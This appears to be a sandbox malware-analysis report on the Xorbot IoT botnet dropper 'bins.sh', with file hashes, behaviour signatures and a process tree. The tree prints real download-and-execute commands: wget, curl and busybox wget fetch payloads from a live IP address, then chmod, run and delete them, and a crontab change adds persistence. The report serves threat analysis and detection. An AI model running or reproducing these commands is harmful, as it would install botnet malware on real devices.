Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    01/12/2024, 04:32

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General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    43a7e0e0ca8aa63651fa7f672e7fafd2

  • SHA1

    d584eafdf115abfb917f067045c128f844b16274

  • SHA256

    733dcd188e273babf0c1afe8c2482c6cb61d75171cb0feb800f95c5ffa1f4f86

  • SHA512

    96ecbce3c068b3bc8739e59b2d896e47cb893c309119408a033947484cbd3bc4892bd92ed98b6574817d65bc8f8ee7172626ce74b8d915504fa4bd0a6236bc3a

  • SSDEEP

    96:YD1++8dZyJ0JC99KjtJFuVBbcFYVBCF7gzjtfKZgtXDWA++8dZ0mRZ:Q++8dZyJ0JCzcJEVu2wW9++8dZvZ

Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (1537) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 14 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:692
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:696
        • /usr/bin/wget
          wget http://216.126.231.240/bins/UEH8Cglb7EwiE5wQ6nH5FWQ1kcTvlbGg7D
          2⤵
          • Writes file to tmp directory
          PID:700
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/UEH8Cglb7EwiE5wQ6nH5FWQ1kcTvlbGg7D
          2⤵
          • Writes file to tmp directory
          PID:714
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/UEH8Cglb7EwiE5wQ6nH5FWQ1kcTvlbGg7D
          2⤵
          • Writes file to tmp directory
          PID:722
        • /bin/chmod
          chmod 777 UEH8Cglb7EwiE5wQ6nH5FWQ1kcTvlbGg7D
          2⤵
          • File and Directory Permissions Modification
          PID:723
        • /tmp/UEH8Cglb7EwiE5wQ6nH5FWQ1kcTvlbGg7D
          ./UEH8Cglb7EwiE5wQ6nH5FWQ1kcTvlbGg7D
          2⤵
          • Executes dropped EXE
          PID:725
        • /bin/rm
          rm UEH8Cglb7EwiE5wQ6nH5FWQ1kcTvlbGg7D
          2⤵
            PID:727
          • /usr/bin/wget
            wget http://216.126.231.240/bins/pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
            2⤵
            • Writes file to tmp directory
            PID:728
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:729
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
            2⤵
            • Writes file to tmp directory
            PID:730
          • /bin/chmod
            chmod 777 pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
            2⤵
            • File and Directory Permissions Modification
            PID:731
          • /tmp/pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
            ./pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
            2⤵
            • Executes dropped EXE
            PID:732
          • /bin/rm
            rm pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
            2⤵
              PID:734
            • /usr/bin/wget
              wget http://216.126.231.240/bins/X0w7YyMe2Jlj1NaBbGNbb0RHWDktOBMe2e
              2⤵
              • Writes file to tmp directory
              PID:735
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/X0w7YyMe2Jlj1NaBbGNbb0RHWDktOBMe2e
              2⤵
              • Writes file to tmp directory
              PID:736
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/X0w7YyMe2Jlj1NaBbGNbb0RHWDktOBMe2e
              2⤵
              • Writes file to tmp directory
              PID:737
            • /bin/chmod
              chmod 777 X0w7YyMe2Jlj1NaBbGNbb0RHWDktOBMe2e
              2⤵
              • File and Directory Permissions Modification
              PID:738
            • /tmp/X0w7YyMe2Jlj1NaBbGNbb0RHWDktOBMe2e
              ./X0w7YyMe2Jlj1NaBbGNbb0RHWDktOBMe2e
              2⤵
              • Executes dropped EXE
              PID:739
            • /bin/rm
              rm X0w7YyMe2Jlj1NaBbGNbb0RHWDktOBMe2e
              2⤵
                PID:741
              • /usr/bin/wget
                wget http://216.126.231.240/bins/mQ2XjsOrNR6tW0AKsQ0C2T5sJGkUDypx5z
                2⤵
                • Writes file to tmp directory
                PID:742
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/mQ2XjsOrNR6tW0AKsQ0C2T5sJGkUDypx5z
                2⤵
                • Writes file to tmp directory
                PID:752
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/mQ2XjsOrNR6tW0AKsQ0C2T5sJGkUDypx5z
                2⤵
                • Writes file to tmp directory
                PID:763
              • /bin/chmod
                chmod 777 mQ2XjsOrNR6tW0AKsQ0C2T5sJGkUDypx5z
                2⤵
                • File and Directory Permissions Modification
                PID:766
              • /tmp/mQ2XjsOrNR6tW0AKsQ0C2T5sJGkUDypx5z
                ./mQ2XjsOrNR6tW0AKsQ0C2T5sJGkUDypx5z
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:768
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:770
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:772
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:773
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:775
                    • /bin/rm
                      rm mQ2XjsOrNR6tW0AKsQ0C2T5sJGkUDypx5z
                      2⤵
                        PID:778
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/UiPjiJzt4hskryCUcwrziIw4eaUimncATN
                        2⤵
                        • System Network Configuration Discovery
                        PID:781
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/UiPjiJzt4hskryCUcwrziIw4eaUimncATN
                        2⤵
                        • System Network Configuration Discovery
                        PID:864
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/UiPjiJzt4hskryCUcwrziIw4eaUimncATN
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:870
                      • /bin/chmod
                        chmod 777 UiPjiJzt4hskryCUcwrziIw4eaUimncATN
                        2⤵
                        • File and Directory Permissions Modification
                        PID:875
                      • /tmp/UiPjiJzt4hskryCUcwrziIw4eaUimncATN
                        ./UiPjiJzt4hskryCUcwrziIw4eaUimncATN
                        2⤵
                        • Executes dropped EXE
                        • System Network Configuration Discovery
                        PID:876
                      • /bin/rm
                        rm UiPjiJzt4hskryCUcwrziIw4eaUimncATN
                        2⤵
                        • System Network Configuration Discovery
                        PID:885
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/X0pcfB0ebFaR9uzwGr4uEqf5klAgCZtVYJ
                        2⤵
                          PID:886
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/X0pcfB0ebFaR9uzwGr4uEqf5klAgCZtVYJ
                          2⤵
                            PID:888
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/X0pcfB0ebFaR9uzwGr4uEqf5klAgCZtVYJ
                            2⤵
                            • Writes file to tmp directory
                            PID:893
                          • /bin/chmod
                            chmod 777 X0pcfB0ebFaR9uzwGr4uEqf5klAgCZtVYJ
                            2⤵
                            • File and Directory Permissions Modification
                            PID:899
                          • /tmp/X0pcfB0ebFaR9uzwGr4uEqf5klAgCZtVYJ
                            ./X0pcfB0ebFaR9uzwGr4uEqf5klAgCZtVYJ
                            2⤵
                            • Executes dropped EXE
                            PID:900
                          • /bin/rm
                            rm X0pcfB0ebFaR9uzwGr4uEqf5klAgCZtVYJ
                            2⤵
                              PID:903
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/XNVg4qaZCbeT2c29doj8sw8CQ45tcQ20Qs
                              2⤵
                                PID:904

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

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                            Downloads

                            • /tmp/UEH8Cglb7EwiE5wQ6nH5FWQ1kcTvlbGg7D
                              Filesize

                              122KB

                              MD5

                              cd3d4b9c643e5b473fb4d88ed05f0716

                              SHA1

                              64ee7a97418583d759eaea8000890cc3bae1b5f4

                              SHA256

                              0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                              SHA512

                              164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                              Download Submit

                            • /tmp/UiPjiJzt4hskryCUcwrziIw4eaUimncATN
                              Filesize

                              111KB

                              MD5

                              701e7a55a4f3650f5feee92a9860e5fc

                              SHA1

                              6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                              SHA256

                              ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                              SHA512

                              7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                              Download Submit

                            • /tmp/X0pcfB0ebFaR9uzwGr4uEqf5klAgCZtVYJ
                              Filesize

                              112KB

                              MD5

                              05d7857dcead18bbd86d2935f591873c

                              SHA1

                              34d18f41ef35f93d5364ce3e24d74730a4e91985

                              SHA256

                              2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                              SHA512

                              d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                              Download Submit

                            • /tmp/X0w7YyMe2Jlj1NaBbGNbb0RHWDktOBMe2e
                              Filesize

                              141KB

                              MD5

                              3ca8decdb1e52c423c521bfff02ac200

                              SHA1

                              8621ecd6807109b8541912ad9e134f6fb49bfd48

                              SHA256

                              dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                              SHA512

                              b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                              Download Submit

                            • /tmp/mQ2XjsOrNR6tW0AKsQ0C2T5sJGkUDypx5z
                              Filesize

                              151KB

                              MD5

                              3c90d5820bddcf7c5d1bd21dfa49d958

                              SHA1

                              5ba05bd489e50af97d6dc45e3a0be60e494d5083

                              SHA256

                              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                              SHA512

                              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                              Download Submit

                            • /tmp/pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
                              Filesize

                              177KB

                              MD5

                              786d75a158fe731feca3880f436082c0

                              SHA1

                              79ea2734e43d00cdeabed5586b2c1994d02aef3e

                              SHA256

                              5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                              SHA512

                              7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                              Download Submit

                            • /var/spool/cron/crontabs/tmp.WJKygi
                              Filesize

                              210B

                              MD5

                              e9b4b038c4f5e21572b8bc42d36a3dbf

                              SHA1

                              972d8aed36b8c8d22c71a5a36ce7033357052879

                              SHA256

                              2a25d5a419e5b3806c695bf2a90e951f450a053f087860bdaa0d7bbb0c524673

                              SHA512

                              09aaf271d2bbab68a2fe026d5a46be020f93b6e22d7c9f64f6e818e3e27ec49a47fcce992ada2c584a8bcc533218a7e401594b8406a7ed740b9bb73380bc3778

                              Download Submit